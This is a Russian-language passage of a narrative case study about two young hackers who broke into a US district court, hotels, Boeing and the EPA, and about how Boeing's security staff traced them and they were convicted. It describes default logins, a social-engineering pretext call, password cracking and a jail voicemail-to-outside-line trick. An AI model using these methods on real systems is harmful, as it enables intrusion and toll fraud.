Но как проникнуть в эту систему? Надо как минимум знать имя пользователя и пароль. « О б этом уже подумал Мэтт», — говорит Коста. И ответ был совсем простой: имя пользователя — «public», пароль — «public». Оказывается, на этом суровом сайте государственного учреждения никто серьезно не думал о безопасности.
«Как только мы проникли в их систему, мы сразу добрались до файла паролей». — рассказывает Мэтт. Они переписали все имена и пароли судей. «Судьи пользовались сайтом для того, чтобы получать информацию о судебной системе и просматривать прецеденты судебных разбирательств».
Чувствуя, что они делают что-то неправомерное, Мэтт говорит: «Мы никогда не забирались слишком далеко в судебные „недра“. Во всяком случае, в тот момент».
  ГОСТИ   ОТЕЛЯ
Ребята занимались и другими аферами. « М ы проникли как-то в кредитную организацию. Мэтт обнаружил там набор номеров, с помощью которого можно было делать телефонные звонки за счет этой организации». У них еще был план проникнуть в компьютерную систему Департамента автомобилей и понять, какие водительские права или что-то подобное там можно себе устроить.
Они продолжали оттачивать свое мастерство и проникать в разные компьютеры.
«Мы побывали в куче компьютеров в нашем городе, например — на сайтах автомобильных дилеров. Да, кстати, там был один отель в районе Сиэтла. Я позвонил им и представился компьютерным техником из компании, которая поставила им программу для резервирования номеров. Я объяснил одной из девушек, сидящих на регистрации, что возникли некоторые технические проблемы и они не смогут нормально работать до тех пор, пока не внесут в программу некоторые изменения».
Разыгрывая этот достаточно стандартный «гамбит» из области социальной инженерии, Мэтт без малейших затруднений получил в свое распоряжение необходимую информацию для входа в систему, «Имя пользователя и пароль были „hotel“ и „learn“, соответственно». Это были значения, которые установили в самом начале разработчики программы, и они никогда не изменялись.
После проникновения в компьютеры первого отеля он смог познакомиться с программой резервирования номеров и понять, что она широко используется. Когда ребята проникли в другой отель через несколько месяцев, то обнаружили там уже хорошо знакомое им ПО. Они предположили, что и этот отель использует изначальные значения для имени пользователя и пароля и … оказались правы. Коста вспоминает:
«Мы вошли в компьютер отеля. Передо мной появился в точности такой же экран, какой видят сотрудники отеля. Я вошел в систему и заказал с е б е номер с т о и м о с т ь ю т р и с т а долларов за уикэнд с шикарным видом из окон, оплаченным баром и всеми прочими удовольствиями. Я использовал ложное имя и оставил пометку, что за комнату уже заплачено пятьсот долларов. Номер был зарезервирован на ночь, но мы оставались там все выходные, веселясь и исправно опустошая минибар».
Доступ в компьютер отеля давал им доступ к информации обо всех гостях, остановившихся в отеле, «включая и всю финансовую информацию».
Перед выездом из отеля, наши герои у стойки регистрации потребовали «сдачу», поскольку переплатили за номер. Служащий сказал, что им будет выслан чек. Они дали ему вымышленный адрес и ретировались.
«Никто никаких претензий нам не выдвигал», — говорит Коста, добавляя: «Вероятно, мы не превысили уровень расходов, ну, может быть, совсем чуть-чуть — в баре».
  ОТКРЫВАЯ   Д  В  Е  Р  Ь
После тех бурных выходных вдохновленные парни вернулись к своим компьютерам, чтобы посмотреть, какую еще пользу они могут извлечь из своего проникновения в систему районного суда. Они быстро поняли, что операционная система для компьютера суда была куплена в компании, которую мы в дальнейшем будем называть «Subsequent», Программа имела такую особенность, что инициировала телефонный звонок в «Subsequent», когда требовалось внести изменения в программу — например, «если клиент „Subsequent“ приобретал межсетевой экран и для его установки надо было внести какие-то изменения в системы, имелся специальный путь для их внесения, Таким путем мы опять там оказались», — объясняет Коста.
У Мэтта был товарищ, умеющий программировать на языке С, который мог писать трояны — так называются программы, которые открывают хакерам секретный путь в компьютер, где они уже однажды побывали. Это особенно удобно, если поменялись пароли или были предприняты другие шаги для блокировки доступа. Через компьютер Районного суда Мэтт послал троян в корпоративный компьютер «Subsequent». Хакерская программа была написана так, что «находила все пароли и переписывала их в секретный файл, а кроме того, обеспечивала доступ на уровне администратора в том случае, если бы наш доступ был заблокирован».
Проникновение в компьютер «Subsequent» привело к неожиданным результатам: они получили список всех компаний, использующих систему Subsequent. Настоящее сокровище.. «Это был список компьютеров, в которые мы могли проникнуть». В этом списке была и такая крупная компания (где работал отец Мэтта) как Boeing Aircraft.
«Мы получили имя и пароль одного из инженеров Subsequent. который работал над устройствами для Boeing. Таким образом мы получили доступ ко всем устройствам в Boeing», — рассказывает Коста. С первого же раза, как Мэтт набрал номер внешнего телефонного соединения с системой Boeing, ему повезло.
«Последний из тех, кто пользовался там модемом, не отключил его, поэтому после звонка туда я смог продолжить его работу под его именем. Неожиданно я оказался в его хозяйстве».
Некоторые старые модемы были устроены так, что они не отключали пользователя автоматически после того, как он прекращал работу. Когда я был моложе, если мне надо было попасть в систему с таким модемом, я сам прерывал соединение у работающего пользователя, посылая команду на коммутатор телефонной компании или действовал методами социальной инженерии, прося техника прервать соединение. После разрыва соединения, я звонил сам и получал доступ в систему того пользователя, соединение которого я прервал. Мэтту и Косте удалось проникнуть в разорванное соединение безо всяких предварительных усилий.
Они попали на какой-то Unix-уровень (shell) пользователя и это означало, что они проникли за защитный экран, причем компьютер ожидал от них указаний, что делать. Мэтт вспоминает: «Я немедленно перешел к действиям и взломал его пароль, а потом использовал его на другой машине, где мог получить доступ с правами системного администратора  (  root  access  —  «корневой»  доступ —  прим  .  переводчика  ). После получения доступа с таким приоритетом мы могли использовать имена других пользователей, входить в другие компьютеры и изучать их действия».
Конечно, неотключенный модем в момент звонка Мэтта был случайностью, но то, что происходило в Boeing позднее, когда Мэтт и Коста начали проникать в компьютеры компании, выглядело еще более странным.
  ЗАЩИТА   БАРРИКАД
Как раз в тот момент в Boeing Aircraft проходил серьезный семинар, посвященный компьютерной безопасности, для представителей самой компании, а также полицейских, сотрудников ФБР и других секретных служб.
Руководил семинаром Дон Боэлинг, человек, хорошо знакомый с мерами компьютерной безопасности Boeing и предпринимающий шаги для их улучшения, в течение долгих лет Дон вел нелегкую битву за внутреннюю безопасность. «Наша сеть и уровень компьютерной безопасности были такими же, как и везде, то есть недостаточными. И я был этим серьезно озабочен».
Еще в 1988 году, когда он работал в недавно образованном подразделении Boeing Electronics. Дон участвовал в совещании с президентом и несколькими вице-президентами этого подразделения и сказал им: «Посмотрите, что я могу сделать с нашей сетью». Он проник в модемную линию и показал, что на ней нет паролей, далее он продемонстрировал, что может атаковать любую машину по своему желанию. Руководство компании увидело, что в одном компьютере за другим пароль пользователя-гостя был один и тем же — «guest». Он показал, как, используя аккаунты пользователей с такими паролями, можно просто получить доступ к файлу с паролями и перегрузить его на любой компьютер, даже вне компании.
Дон добился своей цели с помощью этой демонстрации. «После нее в компании Boeing началась программа по усилению компьютерной безопасности», — рассказывает Дон, Но все эти усилия оставались в зачаточном состоянии, когда Мэтт и Коста реализовали свое проникновение. Дону приходилось «тратить колоссальные усилия на убеждение руководства, чтобы на обеспечение безопасности выделялись серьезные средства». То. что проделали Мэтт и Коста, служило прекрасным аргументом в пользу доводов Дона.
Позиция лидера по обеспечению компьютерной безопасности позволила Дону организовать уникальный компьютерный класс в Boeing. «Представители правительства обратились с просьбой помочь организовать группу из представителей полиции и промышленности для совместной работы. Целью группы должно было стать повышение квалификации полицейских в сфере использования компьютерных технологий в их работе, включая исследовательские методики на базе последних достижений высоких технологий. Я был одним из главных организаторов этого процесса. В работе принимали участие представители компании Microsoft, UN West, телефонной компании, нескольких банков, нескольких финансовых организаций. Агенты секретных служб приходили и делились своими знаниями о технологических аспектах борьбы с хакерами».
Спонсором семинаров по инициативе Дона выступала компания Boeing, а проходили они в одном из центров подготовки компании. «Мы собирали до тридцати пяти полицейских на каждый недельный семинар, где рассказывали им, как сконфигурировать компьютер, как написать ордер на обыск, как готовить на компьютере все необходимые бумаги для судебного расследования — в общем, массу полезных сведений. У нас выступал и Ховард Шмидт, который потом был приглашен в службу „Безопасность Родины“, которая по заданию президента обеспечивала все работы в области борьбы с кибер-преступлениями».
На второй день занятий пейджер Дона зазвонил. «Я позвонил нашему администратору, Филлис, и она сказала «Происходят какие-то странные вещи с этой машиной, я не могу понять их причину". В целом ряду спрятанных директорий находились файлы паролей, объяснила Филлис. А в фоновом режиме работает программа под названием Crack.
Это была плохая новость. Crack — это была программа, специально созданная для взлома шифра паролей. Она пробует в качестве паролей различные слова из словаря и их сочетания с номерами типа Bill1, Bill2, Bill3, чтобы отыскать значения паролей.
Дон послал своего коллегу Кена («нашего гуру по безопасности UNIX») посмотреть, что случилось. Через час Кен послал текст Дону на пейджер. «Лучше тебе прийти сюда. Дела обстоят плохо. Взломано уже много паролей, и они не принадлежат Boeing. На один из таких паролей тебе особенно стоит взглянуть».
Тем временем Мэтт трудился в поте лица в сети компьютеров Boeing. После того, как он получил доступ с привилегиями администратора, «было просто получить доступ к компьютерам других пользователей». Очень часто в файлах содержались номера телефонов производителей ПО и других компьютеров, с которыми компьютер мог соединяться. « Т а м был даже список всех узлов», — говорит Мэтт.
Вскоре двое наших хакеров получили доступ к базам данных самых разных компаний. « М ы запустили свои пальцы во множество мест». — говорит Коста.
Дон не хотел прерывать семинар и он попросил Кена переслать ему факс с текстом, появившимся на экране компьютера администратора. Когда этот факс пришел, Дон сначала облегченно вздохнул, поскольку в тексте не было ни одного знакомого ему имени. Однако, его озаботило то, что многие имена пользователей начинались со слова «Judge» (судья). Затем его буквально пронзила мысль.
«Я подумал: „О, Господи!“, бросился в комнату, где сидели полицейские офицеры, и сказал: „Ребята, вам знакомы эти имена?" Я прочел список имен. Один из полицейских сказал „Это судьи США в районе Сиэтла“. Я сказал „Так вот у меня есть список из двадцати шести взломанных паролей“. Полицейские просто позеленели от ярости“.
Дон заметил, что агент ФБР, с которым он работал в недалеком прошлом, быстро сделал несколько звонков по телефону.
«Он позвонил а районный суд и попросил к телефону системного администратора. Я мог слышать ответы парня на другом конце телефонной линии, „Нет, этого не может быть. Мы не соединены с интернетом. Они никак не могли получить файл с нашими паролями. Я не верю, что это наш компьютер“. А Р и ч отвечал ему: „Нет, э т о в а ш а машина. Мы видим файл паролей своими глазами“. Администратор продолжал г н у т ь свое: „ Н е т , этого н е могло случиться. Никто не может проникнуть в наши компьютеры“.
Дои глянул в список паролей и увидел, что взломан основной пароль самого высокого уровня — корневой директории — который известен только системным администраторам. Он показал это Ричу.
«Рич продолжил беседу по телефону: „Скажите, ваш корневой пароль „2ovens“?“ Мертвая тишина на другом конце линии была ему ответом.
Все услышали только звук, — похоже, голова того парня стукнулась об стол».
Когда все уселись на свои места. Дон почувствовал, что напряжен и е нарастает. «Я сказал им: „ Н у что же, ребята, пришло время провести тренировку в реальных условиях“?
Вместе с теми, кто следил за его действиями, Дон приготовился к битве. Прежде всего он отправился в компьютерный центр в Бельвью, где был расположен межсетевой экран. «Мы быстро обнаружили тот компьютер, на котором была запущена программа Crack, где работали хакеры и с IP-адреса которого они пришли».
К этому моменту с помощью программы взлома паролей, работающей на компьютере в компании Boeing, наши хакеры могли направиться в любую часть сети Boeing из сотен компьютеров.
Один из компьютеров, входящих в сеть Boeing, был не в Сиэтле, он находился на другом побережье США. Вот что вспоминает Коста : « Э т о был один из компьютеров Н А С А в исследовательской лаборатории в Вирджинии — Сгау5, настоящая драгоценность. Это был один из критических моментов. В моей голове стали роиться разнообразные фантазии. Одни секреты, хранящиеся в этом компьютере, могли сделать меня богатым, другие — лишить жизни, а третьи — упрятать в тюрьму».
Участники семинара тем временем знакомились с работой компьютерного центра Boeing. Они были просто ошеломлены, когда служба безопасности Boeing обнаружила, что атакующие полу-ч и л и доступ в компьютер Cray, с трудом поверил этому и Дон. « М ы должны были очень быстро, в течение часа, максимум двух, определить точку проникновения через межсетевой экран». Тем временем Кен расставлял в межсетевом экране виртуальные ловушки для того, чтобы определить, куда еще удалось проникнуть хакерам.
Дон позвонил в местную телефонную компанию и попросил их запустить режим «ловушек и отслеживания» на модемных линиях Boeing, которые использовали атакующие. Так называется методика отслеживания звонка, при которой определяется номер телефона, с которого этот звонок был сделан. Телефонисты согласились без возражений. «Они очень тесно сотрудничали с нами и прекрасно знали, кто я такой, поэтому не задавали вопросов. Это одно из преимуществ работы в специальном полицейском подразделении».
Дон расположил свой ноутбук между модемами и компьютерами, «в основном для того, чтобы фиксировать все командные строки в специальном файле». Затем он соединил с каждым компьютером принтеры Oki, чтобы «печатать все, что они делают в режиме реального времени. Мне это было необходимо для доказательств. Вы не можете возражать против листка бумаги, в отличие от электронного файла». Это не удивительно, — он должен был думать о том, чему больше поверят присяжные — электронному файлу или бумажному документу, напечатанному в момент происшествия.
Группа вернулась на семинар через несколько часов и Дон подробно описал сложившуюся ситуацию и принятые им меры. Полицейские офицеры внимательно вникали в ситуацию с противозаконными действиями с использованием компьютеров. «Нам предстояло проделать еще много работы для уяснения ситуации, и, пока я стоял беседуя с двумя полицейскими и моим коллегой, модем заработал опять. Бинго! Эти ребята опять подключились к компьютеру», — сказал Дон.
Телефонная компания отследила звонок Мэтта и Косты прямо до их домов. Команда безопасности заметила, когда они прошли через межсетевой экран. Потом они отправились в Университет Вашингтона, где вошли в компьютер Мэтта Андерсона.
Конечно же, Мэтт и Коста предпринимали некоторые предосторожности, которые, по их мнению, должны были защитить их звонки от выслеживания. В качестве одной такой меры они звонили в компанию Boeing не прямо, а соединялись с компьютерами районного суда, откуда уже отправлялись в Boeing. Они предполагали, что «если кто-то и будет их отслеживать из Boeing, то у него будет мало времени, чтобы определить, откуда пришел звонок», — говорит Коста.
Они и представить себе не могли, что каждое их движение фиксируется и записывается: как Мэтт звонил в суд, оттуда перевел звонок в Boeing, а затем — на свой студенческий аккаунт.
«Мы так просто попали в систему районного суда, все имена пользователей и паролей там были открыты, поэтому мы даже не задумывались об угрозе, грубо говоря, разленились. Именно мой прямой звонок позволил им вычислить мой адрес, после чего все рухнуло».
Команда Дона чувствовала себя подглядывающими в замочную скважину, когда Мэтт начал читать письма из своей электронной почты. «В письмах этого парня были подробно описаны различные хакерские приемы и ответы от других хакеров».
«Полицейские сидели и хихикали, потому что „два этих злобных юнца еще и не догадываются, что они пойманы“. Мы наблюдаем за ними в реальном времени и это дает нам неопровержимые доказательства».
Тем временем Дон оторвал листы бумаги из принтера, призвал всех присутствующих в свидетели и сказал: «Всего за шесть часов с момента вторжения мы обнаружили его и получили доказательства, достаточные для предъявления обвинения».
Не смеялось лишь руководство компании Boeing. «Они были напуганы тем, что увидели и хотели, чтобы действия хакеров были остановлены, — „Уберите их из наших компьютеров и прекратите все это сейчас же“. Дону удалось убедить их в том. что гораздо умнее будет немного подождать. „Я сказал: « М ы не знаем, во сколько мест удалось этим ребятам пробраться. Мы должны какое-то время последить за ними и узнать все их пути и что они там делают“. При таком огромном риске согласие руководства Boeing с предложением Дона свидетельствует о колоссальном авторитете его самого и его профессиональных навыков.
  «ПОД   КОЛПАКОМ»
Один из полицейских чинов, посещавший семинар, получил ордер на прослушивание телефонов Мэтта и Косты. При этом запись всех их действий по телефону была лишь малой толикой полицейской активности. К этому моменту представители правительства воспринимали случившееся более чем серьезно. Развитие событий стало напоминать шпионский фильм или триллер: в университет были посланы группы агентов ФБР. Одетые как студенты, они следовали за Мэттом по всей территории и тщательно фиксировали все его действия, чтобы иметь потом возможность доказать, что он находился именно за конкретным компьютером. Иначе он мог бы без зазрения совести говорить, что «это был не я — множество людей использует этот компьютер ежедневно». Так уже бывало не раз.
Команда безопасности из Boeing предпринимала все меры предосторожности. которые только можно вообразить. Их задачей было не допускать хакеров к важной информации, и при этом следить за каждым их шагом, продолжая собирать доказательства их попыток и убеждаясь, что они не наносят вреда. Дон объясняет: «Мы стали контролировать вход во все наши компьютеры так, что системные администраторы записывали и извещали нас о том, что в них происходит». Писк пейджеров был своеобразным сигналом для участников «битвы». Члены команды безопасности мгновенно уведомляли определенных сотрудников компании Boeing, что хакеры продолжают свою деятельность. Несколько раз группа Дона электронным путем отслеживала активность Мэтта и Косты в Университете Вашингтона — где ключевые сотрудники были уведомлены о ситуации — все их перемещения по Интернету из одной точки в другую. Они как будто стояли за плечом у хакеров в момент любого их проникновения.
Дон принял решение наблюдать за ними еще четыре-пять дней, поскольку « м ы держали всю их деятельность под контролем, и они не делали ничего такого, что можно было бы отнести к опасным действиям, хотя у них были обширные возможности доступа, которые они могли использовать по своему усмотрению». Вскоре Коста понял, что что-то происходит.
«Однажды ночью мы с подружкой смотрели телевизор у меня дома. Ночь была теплая, окно было открыто, она выглянула наружу… и заметила машину на парковке неподалеку. Примерно через час она опять выглянула из окна и сказала: „ Э т а машина с парнями внутри стоит на прежнем месте, как и час назад“.
Коста выключил телевизор и свет в комнате, и начал записывать действия агентов Ф Б Р на видеокамеру. Через некоторое время он увидел, как вторая машина подъехала к первой. Люди в машинах о чем-то поговорили и обе машины уехали прочь».
На следующий день к Косте пришли полицейские. На вопрос об ордере на арест и обыск они ответили отрицательно, но Коста хотел показать, что он стремится к сотрудничеству с правоохранительными органами, поэтому он согласился ответить на несколько вопросов. Он не стал возражать и против того, что его попросили позвонить Мэтту и задать тому несколько вопросов о звонках по сотовым телефонам, причем их разговор при этом записывался на пленку.
Почему же он согласился позвонить своему лучшему другу и говорить с ним об их противозаконных действиях в присутствии стражей закона? Все очень просто: однажды вечером, шутливо обсуждая между собой возможные сценарии развития событий, они проигрывали вариант, когда окажется невозможным разговаривать свободно, поэтому они разработали специальный условный код. Если один из них использовал в разговоре сочетание «девять, десять» это означало «Опасность! Следи за тем, что ты говоришь!» (Они выбрали эту последовательность цифр, поскольку ее было просто запомнить — она была на единицу меньше чем номер вызова службы спасения — 911).
Поэтому, когда Косту попросили позвонить Мэтту и записывали их разговор, он начал его так: «Я звонил тебе несколько минут назад, в девять-десять, но не смог пробиться».
  МЫШЕЛОВКА   ЗАХЛОПЫВАЕТСЯ
Группа безопасности компании Boeing обнаружила, что хакеры проникли не только в районный суд США, но и в Агентство по защите окружающей среды ( Е Р А — Environmental Protection Agency).
Дон Боэлинг сообщил Е Р А плохую новость. Как и системный администратор в районном суде, сотрудники Е Р А не сразу поверили в то, что в их систему можно проникнуть.
«Мы рассказали, что их компьютеры взломаны, но для них это звучало совершенно неприемлемо. Они отвечали: „Нет, нет, это невероятно“. У меня под рукой был файл с десятью или пятнадцатью взломанными паролями, я сказал им пароль сетевого администратора. Это привело их в состояние шока, поскольку оказалось, что все их ш е с т ь с о т с лишним компьютеров по в с е й территории США были соединены с Интернетом ч е р е з один и тот же аккаунт. Э т о был пользователь с правами системного администратора, а все остальные пользователи имели один и тот же пароль».
Сотрудники правоохранительных органов, посещавшие этот семинар по компьютерной безопасности, получили гораздо больше, чем могли ожидать. «Для тех, кто не участвовал вместе с нами в „полевых работах“, — рассказывает Дон, — мы в классах ежедневно подробно разбирали все сделанное. Они получали информацию из первых рук обо всем, что происходило».
  ДОМАШНИЕ   ЗАГОТОВКИ
На Дона сильное впечатление произвело мастерство, с которым действовали хакеры, но еще больше он был удивлен, когда узнал, что всего два месяца назад они были осуждены за аналогичные действия и Коста был приговорен к тридцати дням принудительных работ.
Не прошло и месяца, как они опять нарушают закон, чувствуя себя неуязвимыми. Как такое может быть? Как объяснял потом Коста. они с Мэттом в этот момент уже беспокоились, потому что успели натворить гораздо больше, чем то, за что их судили в предыдущий раз. «Процесс похож на большой снежный ком, в котором они видят лишь небольшой снежок, с которого все начинается. Они не знают, как мы умеем использовать мобильную связь, они не знают, что у нас есть номера кредитных карточек, они даже представить себе не могут размах того, на чем они н а с поймали. Поскольку мы с Мэттом з а р а н е е обсуждали возможность того, что нас схватят, мы готовили слова, которые будем говорить полиции. Нам казалось, что мы прекрасно подготовились к вторжению в компьютеры и все это будет для нас как „раз плюнуть“. Это было очень глупо».
  В   НОВОСТЯХ
Дон ехал на машине из Бельвью в Южную штаб-квартиру компании Boeing, где расположен его офис, и испытал настоящий шок. «Я включил программу новостей и услышал рассказ о том, как два хакера проникли в компьютерную систему компании Boeing и случай расследуется федеральными органами». «Черт побери», — подумал тогда Дон.
Позднее Дону удалось выяснить, что утечка информации произошла от сотрудника Boeing, который был очень недоволен тем, что за Мэттом и Костой стали наблюдать, а не арестовали их немедленно. Дон бросился в свой офис и позвонил всем участникам процесса: «Я сказал: „Все наши планы нарушены! Информация попала в новости! Мы должны сделать что-то сейчас“. Там был Говард Шмидт, специалист по написанию ордеров на обыск для компьютерных случаев, он помог все сделать правильно — так что не было никаких лишних вопросов».
На самом деле Дон не так уж был огорчен этой утечкой информации. «Мы были совсем близки к тому, чтобы схватить их с поличным. У нас были тонны доказательств против этих ребят». Но он подозревал, что за всем этим стояло нечто большее, до чего они еще не докопались. « М ы нашли несколько таких вещей, в которых они были замешаны, типа жульничества с кредитными карточками. Именно на этом они потом и были пойманы. Через полгода или год службы безопасности схватили их».
  АРЕСТ
Коста знал, что рано или поздно, но этот день настанет, поэтому он не удивился однажды, услышав резкий стук в свою дверь. После этого ему пришлось познакомиться с четырьмя объемистыми тетрадями, полными доказательств их преступной деятельности. В тот момент он еще не мог знать, что у полиции есть все необходимые доказательства для того, чтобы засудить их с Мэттом.
Мэтт вспоминает, как он увидел сюжет о взломе компьютерной системы Boeing по телевизору в доме своих родителей. А в десять вечера в дверь постучали. Это были два агента ФБР. Они беседовали с ним в гостиной часа два, пока родители мирно спали наверху. Мэтт не хотел их будить. Он боялся.
Дон Боэлинг хотел пойти на задержание, но не смог. Несмотря на все его достоинства, его не взяли. «Они не хотели, чтобы гражданские люди присутствовали при реальном задержании».
Представители компании Boeing были озабочены тем, что фамилия одного из хакеров совпадала с фамилией одного из сотрудников их компании. Естественно, Мэтт тоже был расстроен тем, что его отец оказался замешанным в это дело. «Отец работал в Boeing, фамилии у нас были одинаковые, поэтому его тоже допрашивали». Коста сразу же подчеркнул, что они не использовали никакой информации, связанной с отцом Мэтта, чтобы проникнуть в сеть Boeing, «Он с самого начала старался никак не вмешивать отца в наши дела, связанные с проникновением в систему Boeing, задолго до того, как мы стали думать о печальном конце».
Дон немного разозлился, когда о раскрытии преступления стали спрашивать руководителя офиса ФБР в Сиэтле. Телекорреспонденты спросили, как ему удалось выследить и схватить хакеров. Сотрудник ФБР отвечал так: «ФБР использовало специальные технические устройства и процедуры, которые слишком сложны, чтобы обсуждать их здесь». Дон с раздражением подумал про себя: «Какая чепуха! Вы не сделали ровным счетом ничего. Мы сделали это». В группу входили сотрудники компании Boeing, сотрудники других компаний, представители суда, сотрудники местной и федеральной полиции. «Впервые была организована такая мощная команда, И результат — это итог ее деятельности».
К счастью, Мэтт и Коста принесли не много вреда, учитывая, на что они были способны потенциально. «Если оценивать вред, нанесенный Boeing, то они практически ничего не сделали», — признает Дон, Компания легко восстановилась после инцидента, но хотела увериться в том, что из случившегося вынесены уроки. «Они чувствовали себя виноватыми, поскольку мы буквально спасли их от гибели. Без нас они бы не выбрались из этой ситуации», — вспоминает Дон с удовлетворением.
В процессе разбора дела обвинения были смягчены, и многочисленные нарушения закона свелись к «проникновению в компьютер». Двое наших героев получили легкий подзатыльник: 250 часов общественно-полезного труда и пять лет запрета на пользование компьютерами. Самая суровая часть судебного решения состояла в том, что им присудили выплатить 30 тысяч долларов компенсации, в основном — компании Boeing. Хотя никто из них не был ребенком, им дали еще один шанс. И пожелали удачи. Они ничему не научились.
  Коста  : «Вместо того, чтобы прекратить все свои хакерские действия, мы оказались тупыми детьми, может, не тупыми, а наивными в том плане, что не осознавали, в какую беду могли бы попасть. С нашей стороны это была даже не жадность, а некое пижонство, что ли, вроде как возможность звонить в любое время по мобильному телефону»  Мэтт  : «Возвращаясь в те дни, я вспоминаю, что это было круто. Это было блестящее дело».
Тем не менее, взломы, которыми занимались Мэтт и Коста, близились к концу. Но причина тому была совсем не та, что вы думаете, а … ревность.
Коста сказал своей подружке, что он какое-то время (когда он был поглощен взломами) общался с другой девушкой. Но это совсем не то, что она думает, сказал Коста: эта девушка была «только другом, ничего больше». Однако его подружка угрожала позвонить в полицию и сообщить, что «хакер, взломавший компьютерную сеть Boeing, продает краденые компьютеры», если не бросит встречаться с «этой девушкой». И осуществила свою угрозу!
Когда полиция появилась в его доме, Косты дома не было, была только мама: «Конечно, проходите», — сказала она, уверенная в том, что вреда не будет.
Они не нашли в доме ничего украденного. Это была хорошая новость. Плохая новость заключалась в том, что они нашли листок бумаги, который упал на пол и спрятался за краем ковра. На нем был записан номер и несколько цифр, в которых один из пришедших распознал ESN (Electronic Serial Number). Проверка в телефонной компании показала, что эта информация связана с номером мобильного телефона, который использовался нелегально.
Коста узнал о визите правоохранительных органов к его матери и решил скрыться.
«Пять дней я скрывался от секретных служб — они могли арестовать меня по обвинению в мошенничестве с мобильными телефонами. Я был под подозрением. Поэтому я жил у своего друга в Сиэтле. Они искали меня повсюду, но машина, на которой я ездил, была зарегистрирована на имя человека, у которого я ее купил, поэтому меня не могли схватить. На пятый или шестой день я поговорил со своим адвокатом и добровольно сдался властям. П о с л е этого я был арестован и задержан. Находиться в руках секретных служб — это было очень сложное время».
Задержали и Мэтта. Оба хакера оказались на разных этажах тюрьмы Seattle's King County.
  ФРИКЕРСТВО   В   ТЮРЬМЕ
Ребята поняли, что больше никаких уступок не будет. После того, как все следственные действия были закончены и прокурор оформил все бумаги, наша парочка должна была предстать перед федеральным судьей для слушания их дела. Никаких проволочек, никакой надежды на защиту, практически никакой надежды на снисхождение.
Обоих должны были подробно допросить. Для этого у них была специальная методика: допрашивать подозреваемых по отдельности и ловить их, когда их рассказы не соответствуют друг другу.
Мэтт и Коста обнаружили, что следственный изолятор, для них по крайней мере, был более неприятным местом, чем тюрьма. «Районный следственньй изолятор — худшее место в мире. Здесь тебе угрожают со всех сторон», — вспоминает Коста. «Меня постоянно втягивали в драки. И если ты не отвечаешь ударом на удар, то тебя просто съедят». Мэтт вспоминает, как его побили за то, что он недостаточно быстро отошел от телефона — приходилось учить новые правила.
Заключение было тяжелым делом и с другой стороны. Вот что вспоминает Коста:
«Никто не знал, что будет дальше, хотя все мы были в беде и знали, что н а с ожидают е щ е большие беды. С т р а х перед неведомым б ы л больше, чем страх перед товарищами по несчастью. Они просто говорят „запереть их“ и у тебя нет возможности ни на залог, ни на связь с внешним миром. В о т что означает заключение в Федеральных тюрьмах. Мы не имели ни малейшего представления, куда пойдем отсюда, и сколько нас здесь продержат».
В следственных изоляторах есть два типа телефонов — платные телефоны, где все переговоры прослушиваются, чтобы увериться в том, что заключенные не говорят что-то незаконное, и телефоны, которые прямо соединяются с офисом общественных защитников, так что заключенные могут разговаривать со своими адвокатами.
В изоляторе Сиэтла для соединения с офисом защитников надо набирать двузначные номера. Мэтт объясняет: «А если вы позвонили в неприемные часы, что получится? Вы окажетесь в системе голосовой почты и сможете нажимать кнопки по своему усмотрению». Тогда он начал исследовать эту систему голосовой почты.
Он быстро понял, что это система Meridian, с которой они с Кос-той были хорошо знакомы, поэтому он смог перепрограммировать ее так, что она переправляла его звонок на внешнюю линию. «Я набрал в меню номер восемь, который не использовался в автоматизированном меню. После этого я смог набрать местный номер и шестизначный код, который я знал. Таким образом я получил возможность звонить в любое место мира».
Телефоны обычно отключались в восемь вечера, но линия связи с офисом всегда о с т а в а л а с ь действующей. « М ы экспериментировали с телефонами ночи напролет, никто больше не пробовал это делать, поскольку все думали, что они отключены», — говорит Коста. «Они считали нас просто ненормальными, которые сидели и баловались с отключенными телефонами. Поэтому все шло просто прекрасно».
Пока Коста учился делать внешние звонки, Мэтт тоже использовал телефон ночью по своему усмотрению и проводил эксперименты. Он выяснил ключевой номер в старом сегменте сети телефонной компании Пенсильвании, что позволило им обоим звонить через этот номер друг другу.
Они провели в этих неконтролируемых переговорах друг с другом долгие ч а с ы . « М ы могли обсуждать с и т у а ц и ю перед допросами во всех подробностях. Это очень помогало нам», — говорит Коста. Мэтт добавляет: « М ы без конца обсуждали то, что будем говорить следователям. Мы хотели все отработать до мелочей».
Между заключенными быстро пробежал слух, что двое новичков творят какие-то чудеса с телефонами.
  К  о  с  т  а  : «Мне это нравилось, поскольку другие люди давали мне новые пути для бесплатных телефонных звонков».
  Мэтт  : « А меня это раздражало, я нервничал. Я сидел там и занимался всеми этими делами, и никого не хотел в них посвящать».
Сидеть в заключении и нарушать закон, делая нелегальные звонки и планируя свои будущие допросы с целью обмануть следователей. Для любого хакера это было бы удовольствием. Для Мэтта и Кос-ты это означало риск новых обвинений вдобавок к тем, которые у них уже имелись.
В конце концов, все их усилия по согласованию показаний не увенчались успехом. Слишком много фактов было против них, и на этот раз они стояли перед судьей, который не собирался ограничиваться «легким подзатыльником». Они оба были приговорены к «году и дню» в тюрьме с учетом того, что они уже провели в следственном изоляторе. Лишний день в приговоре был для них очень выгоден: в соответствии с американскими законами они получали возможность освободиться на 54 дня раньше в случае примерного поведения.
Их держали в заключении без возможности выхода под залог в течение трех с половиной месяцев, затем их освободили до окончательного вынесения приговора под целый набор строгих ограничений. Дон оказался прав: в этот раз никакого снисхождения не было.
  ВРЕМЯ   ДЕЙСТВОВАТЬ
Мэтта послали о т с и ж и в а т ь срок в S h e r i d a n C a m p в Орегоне, а Кос-та отправился в Федеральную тюрьму Boron Camp в Орегоне, «Мы попали в федеральные тюрьмы, поскольку наши преступления попадали под действие федеральных законов», — говорит Коста. Тем не менее, это еще не были «трудные времена» для обоих.  Коста  : «Я знаю, что это был почти что „дом отдыха“. Представьте себе тюрьму, в которой есть бассейн. Посреди пустыни это было очень кстати. Там даже не было загородки, а только желтая линия на пляже. В этом милом месте отсиживали свой срок три бывших сенатора. Е щ е со мной был парень, который организовал известную сеть ресторанов».
Boron был единственной федеральной тюрьмой с пляжем и Коста позднее узнал, что после передачи известной тележурналистки Барбары Уолтерс этот бассейн прекратил свое существование. Я могу согласиться с тем, что не надо тратить деньги налогоплательщиков на постройку бассейнов при строительстве новых тюрем, но я не согласен с тем, что имеет смысл разрушать уже имеющиеся.
В тюрьме Sheridan Мэтт обнаружил среди заключенных одного бывшего сотрудника компании Boeing. «Он попал туда за какие-то финансовые махинации на работе». Это выглядело очень забавно.
